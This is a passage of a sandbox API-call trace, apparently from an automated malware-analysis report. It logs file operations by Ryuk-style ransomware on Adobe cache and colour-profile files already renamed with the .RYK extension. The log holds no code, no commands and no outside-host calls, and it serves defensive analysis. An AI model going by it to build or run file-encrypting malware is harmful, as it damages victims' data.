	[0204.157] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x8eefcf8 | out: lpFileSize=0x8eefcf8*=53474) returned 1
	[0204.157] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x8eefd08 | out: lpFileSize=0x8eefd08*=53474) returned 1
	[0204.157] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.158] ReadFile (in: hFile=0x428, lpBuffer=0x8eefd50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8eefcc0, lpOverlapped=0x0 | out: lpBuffer=0x8eefd50*, lpNumberOfBytesRead=0x8eefcc0*=0x19, lpOverlapped=0x0) returned 1
	[0204.160] CloseHandle (hObject=0x428) returned 1

Thread:
	id = 1745
	os_tid = 0x2110

	[0204.472] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0204.472] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x248
	[0204.473] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x970fa18 | out: lpFileSize=0x970fa18*=5410) returned 1
	[0204.473] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x970fa28 | out: lpFileSize=0x970fa28*=5410) returned 1
	[0204.473] SetFilePointerEx (in: hFile=0x248, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.473] ReadFile (in: hFile=0x248, lpBuffer=0x970fa70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x970f9e0, lpOverlapped=0x0 | out: lpBuffer=0x970fa70*, lpNumberOfBytesRead=0x970f9e0*=0x19, lpOverlapped=0x0) returned 1
	[0204.476] CloseHandle (hObject=0x248) returned 1

Thread:
	id = 1761
	os_tid = 0x215c

	[0204.478] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0204.479] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x248
	[0204.479] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x8e3f5d8 | out: lpFileSize=0x8e3f5d8*=77762) returned 1
	[0204.479] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x8e3f5e8 | out: lpFileSize=0x8e3f5e8*=77762) returned 1
	[0204.479] SetFilePointerEx (in: hFile=0x248, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.479] ReadFile (in: hFile=0x248, lpBuffer=0x8e3f630, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e3f5a0, lpOverlapped=0x0 | out: lpBuffer=0x8e3f630*, lpNumberOfBytesRead=0x8e3f5a0*=0x19, lpOverlapped=0x0) returned 1
	[0204.482] CloseHandle (hObject=0x248) returned 1

Thread:
	id = 1762
	os_tid = 0x2160

	[0204.483] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0204.484] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x248
	[0204.484] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x900f618 | out: lpFileSize=0x900f618*=1458) returned 1
	[0204.485] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x900f628 | out: lpFileSize=0x900f628*=1458) returned 1
	[0204.485] SetFilePointerEx (in: hFile=0x248, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.485] ReadFile (in: hFile=0x248, lpBuffer=0x900f670, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x900f5e0, lpOverlapped=0x0 | out: lpBuffer=0x900f670*, lpNumberOfBytesRead=0x900f5e0*=0x19, lpOverlapped=0x0) returned 1
	[0204.485] CloseHandle (hObject=0x248) returned 1

Thread:
	id = 1763
	os_tid = 0x2164

	[0204.487] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0204.487] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x248
	[0204.487] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x942fa98 | out: lpFileSize=0x942fa98*=66498) returned 1
	[0204.487] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x942faa8 | out: lpFileSize=0x942faa8*=66498) returned 1
	[0204.488] SetFilePointerEx (in: hFile=0x248, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.488] ReadFile (in: hFile=0x248, lpBuffer=0x942faf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x942fa60, lpOverlapped=0x0 | out: lpBuffer=0x942faf0*, lpNumberOfBytesRead=0x942fa60*=0x19, lpOverlapped=0x0) returned 1
	[0204.488] CloseHandle (hObject=0x248) returned 1

Thread:
	id = 1764
	os_tid = 0x2168

	[0204.489] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0204.490] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x248
	[0204.490] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x915fcd8 | out: lpFileSize=0x915fcd8*=2962) returned 1
	[0204.490] GetFileSizeEx (in: hFile=0x248, lpFileSize=0x915fce8 | out: lpFileSize=0x915fce8*=2962) returned 1
	[0204.490] SetFilePointerEx (in: hFile=0x248, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.490] ReadFile (in: hFile=0x248, lpBuffer=0x915fd30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x915fca0, lpOverlapped=0x0 | out: lpBuffer=0x915fd30*, lpNumberOfBytesRead=0x915fca0*=0x19, lpOverlapped=0x0) returned 1
	[0204.491] CloseHandle (hObject=0x248) returned 1

Thread:
	id = 1765
	os_tid = 0x216c

	[0204.961] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0204.962] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0204.962] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x984f718 | out: lpFileSize=0x984f718*=35394) returned 1
	[0204.962] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x984f728 | out: lpFileSize=0x984f728*=35394) returned 1
	[0204.962] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.962] ReadFile (in: hFile=0x4cc, lpBuffer=0x984f770, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x984f6e0, lpOverlapped=0x0 | out: lpBuffer=0x984f770*, lpNumberOfBytesRead=0x984f6e0*=0x19, lpOverlapped=0x0) returned 1
	[0204.962] CloseHandle (hObject=0x4cc) returned 1

Thread:
	id = 1776
	os_tid = 0x2198

	[0204.964] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0204.965] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0204.965] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x8cffa78 | out: lpFileSize=0x8cffa78*=138738) returned 1
	[0204.965] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x8cffa88 | out: lpFileSize=0x8cffa88*=138738) returned 1
	[0204.965] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.965] ReadFile (in: hFile=0x4cc, lpBuffer=0x8cffad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8cffa40, lpOverlapped=0x0 | out: lpBuffer=0x8cffad0*, lpNumberOfBytesRead=0x8cffa40*=0x19, lpOverlapped=0x0) returned 1
	[0204.965] CloseHandle (hObject=0x4cc) returned 1

Thread:
	id = 1777
	os_tid = 0x219c

	[0204.967] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0204.968] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0204.968] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x8f1f658 | out: lpFileSize=0x8f1f658*=53474) returned 1
	[0204.968] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x8f1f668 | out: lpFileSize=0x8f1f668*=53474) returned 1
	[0204.968] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.969] ReadFile (in: hFile=0x4cc, lpBuffer=0x8f1f6b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f1f620, lpOverlapped=0x0 | out: lpBuffer=0x8f1f6b0*, lpNumberOfBytesRead=0x8f1f620*=0x19, lpOverlapped=0x0) returned 1
	[0204.969] CloseHandle (hObject=0x4cc) returned 1

Thread:
	id = 1778
	os_tid = 0x21a0

	[0204.971] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK", dwFileAttributes=0x80) returned 1
	[0204.971] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0204.971] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x910f678 | out: lpFileSize=0x910f678*=5410) returned 1
	[0204.971] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x910f688 | out: lpFileSize=0x910f688*=5410) returned 1
	[0204.972] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x1400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.972] ReadFile (in: hFile=0x4cc, lpBuffer=0x910f6d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x910f640, lpOverlapped=0x0 | out: lpBuffer=0x910f6d0*, lpNumberOfBytesRead=0x910f640*=0x19, lpOverlapped=0x0) returned 1
	[0204.972] CloseHandle (hObject=0x4cc) returned 1

Thread:
	id = 1779
	os_tid = 0x21a4

	[0204.973] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK", dwFileAttributes=0x80) returned 1
	[0204.974] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0204.974] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x923fbf8 | out: lpFileSize=0x923fbf8*=77762) returned 1
	[0204.974] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x923fc08 | out: lpFileSize=0x923fc08*=77762) returned 1
	[0204.974] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x12ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.974] ReadFile (in: hFile=0x4cc, lpBuffer=0x923fc50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x923fbc0, lpOverlapped=0x0 | out: lpBuffer=0x923fc50*, lpNumberOfBytesRead=0x923fbc0*=0x19, lpOverlapped=0x0) returned 1
	[0204.975] CloseHandle (hObject=0x4cc) returned 1

Thread:
	id = 1780
	os_tid = 0x21a8

	[0204.976] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK", dwFileAttributes=0x80) returned 1
	[0204.977] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\acecache11.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0204.977] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x940f7d8 | out: lpFileSize=0x940f7d8*=1458) returned 1
	[0204.977] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x940f7e8 | out: lpFileSize=0x940f7e8*=1458) returned 1
	[0204.977] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x490, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.977] ReadFile (in: hFile=0x4cc, lpBuffer=0x940f830, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x940f7a0, lpOverlapped=0x0 | out: lpBuffer=0x940f830*, lpNumberOfBytesRead=0x940f7a0*=0x19, lpOverlapped=0x0) returned 1
	[0204.978] CloseHandle (hObject=0x4cc) returned 1

Thread:
	id = 1781
	os_tid = 0x21ac

	[0204.979] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0204.980] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0204.980] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x963f6d8 | out: lpFileSize=0x963f6d8*=66498) returned 1
	[0204.980] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x963f6e8 | out: lpFileSize=0x963f6e8*=66498) returned 1
	[0204.980] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x102a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.980] ReadFile (in: hFile=0x4cc, lpBuffer=0x963f730, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x963f6a0, lpOverlapped=0x0 | out: lpBuffer=0x963f730*, lpNumberOfBytesRead=0x963f6a0*=0x19, lpOverlapped=0x0) returned 1
	[0204.980] CloseHandle (hObject=0x4cc) returned 1

Thread:
	id = 1782
	os_tid = 0x21b0

	[0204.982] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK", dwFileAttributes=0x80) returned 1
	[0204.982] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\wsRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\wsrgb.icc.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0204.983] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x99ffd38 | out: lpFileSize=0x99ffd38*=2962) returned 1
	[0204.983] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x99ffd48 | out: lpFileSize=0x99ffd48*=2962) returned 1
	[0204.983] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0xa70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0204.983] ReadFile (in: hFile=0x4cc, lpBuffer=0x99ffd90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x99ffd00, lpOverlapped=0x0 | out: lpBuffer=0x99ffd90*, lpNumberOfBytesRead=0x99ffd00*=0x19, lpOverlapped=0x0) returned 1
	[0204.983] CloseHandle (hObject=0x4cc) returned 1

Thread:
	id = 1793
	os_tid = 0x21f4

	[0205.340] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0205.341] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468
	[0205.341] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x8d3f9f8 | out: lpFileSize=0x8d3f9f8*=35394) returned 1
	[0205.341] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x8d3fa08 | out: lpFileSize=0x8d3fa08*=35394) returned 1
	[0205.341] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x8920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.341] ReadFile (in: hFile=0x468, lpBuffer=0x8d3fa50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x8d3fa50*, lpNumberOfBytesRead=0x8d3f9c0*=0x19, lpOverlapped=0x0) returned 1
	[0205.342] CloseHandle (hObject=0x468) returned 1

Thread:
	id = 1794
	os_tid = 0x21f8

	[0205.343] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0205.344] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468
	[0205.344] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x8fcfa78 | out: lpFileSize=0x8fcfa78*=138738) returned 1
	[0205.344] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x8fcfa88 | out: lpFileSize=0x8fcfa88*=138738) returned 1
	[0205.344] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x21cd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0205.344] ReadFile (in: hFile=0x468, lpBuffer=0x8fcfad0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8fcfa40, lpOverlapped=0x0 | out: lpBuffer=0x8fcfad0*, lpNumberOfBytesRead=0x8fcfa40*=0x19, lpOverlapped=0x0) returned 1
	[0205.344] CloseHandle (hObject=0x468) returned 1

Thread:
	id = 1795
	os_tid = 0x21fc

	[0205.346] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK", dwFileAttributes=0x80) returned 1
	[0205.346] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468
	[0205.346] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x8c1fa78 | out: lpFileSize=0x8c1fa78*=53474) returned 1
	[0205.347] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x8c1fa88 | out: lpFileSize=0x8c1fa88*=53474) returned 1
	[0205.347] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0xcfc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
